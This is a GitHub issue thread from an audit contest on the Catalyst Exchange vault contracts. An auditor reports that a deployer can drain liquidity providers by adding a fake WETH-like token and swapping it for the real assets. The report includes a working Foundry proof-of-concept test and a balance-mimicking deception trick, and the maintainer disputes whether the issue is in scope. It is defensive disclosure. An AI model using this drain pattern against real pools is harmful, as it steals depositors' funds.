CatalystVault LPs can be drained by deployer on whitelisted Vault

hats-bug-reporter[bot] commented 5 months ago

Github username: @0xfuje Twitter username: 0xfuje Submission hash (on-chain): 0xe27a0162b2ac6c5ea56983c04cb14a87c28b1576afefc4a3602c538762638b3e Severity: high

Description:

Impact

Total loss of LP deposited funds of Vault

Description

Malicious deployer creates a token fakeWETH and fully controls the token's supply
Deployer deploys a seemingly normal whitelisted Vault from the whitelisted templates with popular tokens such as USDC, USDT, but one of the token is their own token that mimicks a popular token (e.g. WETH), sends normal ($1000) amount of USDC, USDT to the pool to seem trustworthy for LPS
Deployer waits for LPs to deposit funds of USDC, USDT
Victim LP deploys $10000 USDC and USDT
Immediately the attacker will drain the pool by using his fake token to localSwap() to the valid tokens via either minting unbounded amount of tokens, (or via setting unbounded high weight at deployment)

Proof of Concept

In this example the attacker abuses setting the weight of their malicious token to high amounts and the total supply to very low, but it's not necessary since he controls the whole supply of their arbitrary token, so he can mint up to the amount that needs to drain the pool.

Navigate to test/ExampleTest.t.sol
copy and paste the below proof of concept and change the setup

call forge test --match-test --via-ir test_localswap_exploit_token -vvvv

function setUp() public override {
// Calls setup() on testCommon
super.setUp();

// Create relevant arrays for the vault.
uint256 numTokens = 3;
address[] memory assets = new address[](numTokens);
uint256[] memory init_balances = new uint256[](numTokens);
uint256[] memory weights = new uint256[](numTokens);

// Deploy a token
assets[0] = address(new Token("USDC", "USDC", 18, 1e6));
init_balances[0] = 100 * 1e18;
weights[0] = 1;
// Deploy another token
assets[1] = address(new Token("USDT", "USDT", 18, 1e6));
init_balances[1] = 100 * 1e18;
weights[1] = 1;

assets[2] = address(new Token("fakeWETH", "WETH", 1, 10));
init_balances[2] = 1;
weights[2] = 1e18;

// Set approvals.
Token(assets[0]).approve(address(catFactory), init_balances[0] * 2);
Token(assets[1]).approve(address(catFactory), init_balances[1] * 2);
Token(assets[2]).approve(address(catFactory), init_balances[2] * 2);

vault1 = catFactory.deployVault(
  address(volatileTemplate), assets, init_balances, weights, 10**18, 0, "Example Pool1", "EXMP1", address(CCI)
);
vault2 = catFactory.deployVault(
  address(volatileTemplate), assets, init_balances, weights, 10**18, 0, "Example Pool2", "EXMP2", address(CCI)
);
}

function test_localswap_exploit_token() external {
// 1. Initialization
address alice = makeAddr("Alice");
uint256 aliceBalanceUSDC = 10000 * 1e18;
uint256 aliceBalanceUSDT = 10000 * 1e18;

address USDC = ICatalystV1Vault(vault1)._tokenIndexing(0);
address USDT = ICatalystV1Vault(vault1)._tokenIndexing(1);
address maliciousToken = ICatalystV1Vault(vault1)._tokenIndexing(2);

deal(USDC, alice, 10000 * 1e18);
deal(USDT, alice, 10000 * 1e18);

// 2. Alice provides liquidity
vm.startPrank(alice);
Token(USDC).approve(vault1, aliceBalanceUSDC);
Token(USDT).approve(vault1, aliceBalanceUSDT);

uint256[] memory aliceDepositAmounts = new uint256[](3);
aliceDepositAmounts[0] = aliceBalanceUSDC;
aliceDepositAmounts[1] = aliceBalanceUSDT;
aliceDepositAmounts[2] = 0;

ICatalystV1Vault(vault1).depositMixed(aliceDepositAmounts, 0);
vm.stopPrank();

// 3. Deployer exploits
uint256 swapAmount = 1;
Token(maliciousToken).approve(vault1, 2);

uint256 swapReturn1 = ICatalystV1Vault(vault1).localSwap(maliciousToken, USDT, swapAmount, 0);
uint256 swapReturn2 = ICatalystV1Vault(vault1).localSwap(maliciousToken, USDC, swapAmount, 0);

emit log_uint(swapReturn1);
emit log_uint(swapReturn2);
}

Note: Recommendations will be added soon

0xfuje commented 5 months ago

Hope my explanation will be sufficient as I wanted to send this in as fast as possible. The root of the problem is that arbitrary tokens will always be dangerous. I will think about how to best mitigate this while still retaining vault flexibility.

0xfuje commented 5 months ago

In the tests case address(this) is the attacker and setUp() is his own setup instead of a general setup of Vault

0xfuje commented 5 months ago

Regarding the fake token, the attacker can also do various tricks to make it more convincing: one of them is to mimick the real token's balances: he monitors the approvals to his own vault and sends the fake tokens to potential users and LPs (e.g. LP has 4 WETH, whenever LP approves other assets to the vault, attacker will immediately send 4 fakeWETH to the LP), but he doesn't need to do this if the LP only supplies the other real assets.

0xfuje commented 5 months ago

Recommendations

This would reduce flexibility, but enhance safety: Consider distinguishing between safe and custom vaults on the contract level and disallow custom vault usage until an authorized actor allows it, one way to do that is to have a whitelisted array of tokens that are considered safe along with the whitelisted vaultTemplates and the chainInterfaces. If it matches the safety checks, the vault can be used immediately, if not the vault has to be approved by the factory owner before regular users can use it.

Another similar but easier solution is to only allow whitelisted array of tokens to be used as assets.

To minimize potential damage, weights can be bounded to be between a reasonable value (e.g. can't exceed 100x difference)

reednaa commented 5 months ago

When deploying a vault, the factory will tell third parties which tokens it contains: https://github.com/hats-finance/Catalyst-Exchange-0x3026c1ea29bf1280f99b41934b2cb65d053c9db4/blob/fba322fab023a9206183fb455e9f86facd550d8a/evm/src/interfaces/ICatalystV1FactoryEvents.sol#L7-L23

As such, Alice will know that the vault contains a token she may not expect.

This is similar to https://github.com/hats-finance/Catalyst-Exchange-0x3026c1ea29bf1280f99b41934b2cb65d053c9db4/issues/12. We do not want to impose any kind of whitelisting or filtering on: Vault Templates, Cross-chain interfaces, or assets. What we can do is filter on the front-end. Token filtering is already common place with https://tokenlists.org and I have also seen Uniswap check to see if a token tries to match another token on the list and then display an additional warning.

As such, these are not on-chain implementation concerns.

Also not in the scope of the audit is any token. You could create a token say superSafeMars which behaves just like a normal token. Except if msg.origin is Bob then the balance of the vault would be 1. This would allow you to also easily drain the vault.

reednaa commented 5 months ago

Regarding exotic tokens, it is a very fine balance. We want to support mainstream tokens so if you can make the contract behave in unexpected ways with any of these, it might be a valid issue. Might because if you create an ERC20 just for the occasion it is not going to count.

See these 2 issues on weird ERC20s for more details: https://github.com/hats-finance/Catalyst-Exchange-0x3026c1ea29bf1280f99b41934b2cb65d053c9db4/issues/10 and https://github.com/hats-finance/Catalyst-Exchange-0x3026c1ea29bf1280f99b41934b2cb65d053c9db4/issues/29

0xfuje commented 5 months ago

The potential weight difference is an issue in itself, as it can be used to drain the vault via normal ERC20 tokens as well in a similar fashion. I did submit it as a different vulnerability: https://github.com/hats-finance/Catalyst-Exchange-0x3026c1ea29bf1280f99b41934b2cb65d053c9db4/issues/41

0xfuje commented 5 months ago

We do not want to impose any kind of whitelisting or filtering on: Vault Templates, Cross-chain interfaces, or assets.

Got it!

What we can do is filter on the front-end.

As an auditor focused on the smart contract scope, I didn't have pre knowledge of the extent of front-end filtering, so I didn't have an assumption that tokens were filtered, but will keep in mind!

Also not in the scope of the audit is any token.

Usually if an arbitrary token input is in the codebase, it's in scope, but understand it's not a concern here, I will keep this in mind going forward and focus on mainstream / real tokens.

reednaa commented 5 months ago

I mean yes but would you say the same to a Uniswap pool, Balancer pool, or Curve pool? Yes they support any tokens but often they have to implement custom logic in case of fee on transfer, rebasing, or other exotic tokens.

We don't mention supporting these borderline tokens anywhere.

hats-finance / Catalyst-Exchange-0x3026c1ea29bf1280f99b41934b2cb65d053c9db4